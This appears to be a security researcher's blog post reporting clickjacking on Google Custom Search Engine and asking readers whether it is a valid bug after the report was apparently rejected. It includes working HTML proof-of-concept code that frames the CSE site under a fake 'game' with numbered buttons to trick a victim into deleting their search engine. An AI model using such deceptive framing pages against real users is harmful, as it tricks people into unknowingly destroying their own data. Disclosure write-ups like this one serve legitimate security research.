Clickjacking on Google CSE. Is this Important?

Abay — Sat, 09 Feb 2019 21:06:01 +0000

While i was testing i found that cse.google.com is vulnerable to clickjacking so i checked if the settings page is vulnerable or not and it was vulnerable so now this has a risk! The attacker could delete someone's CSE.

// Detect dark theme var iframe = document.getElementById('tweet-1094333150086320130-119'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1094333150086320130&theme=dark" }

Summary: Attacker can delete victim's CSE.

Steps to reproduce:

Go to https://cse.google.com/
It can be embedded into any webpage.
Attacker may manipulate HTML template so it can delete victim's CSE.

I wrote an exploit code for clickjacking and here is the exploit code:

<center>
<div style="position: absolute; left: 100px; top: 10px;"><h3>Let's consider this is a game!</h3></div>
<div style="position: absolute; left: 100px; top: 40px;"><h3>To finish it, you have to press the keys in sequence.</h3></div>
<div style="position: absolute; left: 205px; top: 278px; color: red;"><button>1</button></div>
<div style="position: absolute; left: 300px; top: 178px; color: red;"><button>2</button></div>
<div style="position: absolute; left: 400px; top: 475px; color: red;"><button>3</button></div>
<iframe style="opacity: 1; border: 0; position: fixed; top: 0px; left: 0px;" src="https://cse.google.com/" width="100%" height="100%"></iframe>

By using Clickjacking technique, an attacker can make someone unconsciously delete their CSE.

About how attacker can make someone unconsciously delete their CSE, you can check my video PoC here:

Enough about the explanation.

Okay, the problem has just begun. My findings above, in my opinion are valid bugs. Why? Because the attacker can delete someone's data (CSE), isn't this a bug? But the response I got was very surprising.

The part that makes me confused is, how is this not a bug? Because in my head it is clear that I can delete other people's data.

What do you think? Is this a bug? Or is it just me who overestimates this as a bug?

Write XSS Cookie Stealer

Abay — Tue, 27 Nov 2018 22:13:11 +0000

English version soon (maybe)
Write XSS Cookie Stealer

DEV Community: Abay

Clickjacking on Google CSE. Is this Important?

Write XSS Cookie Stealer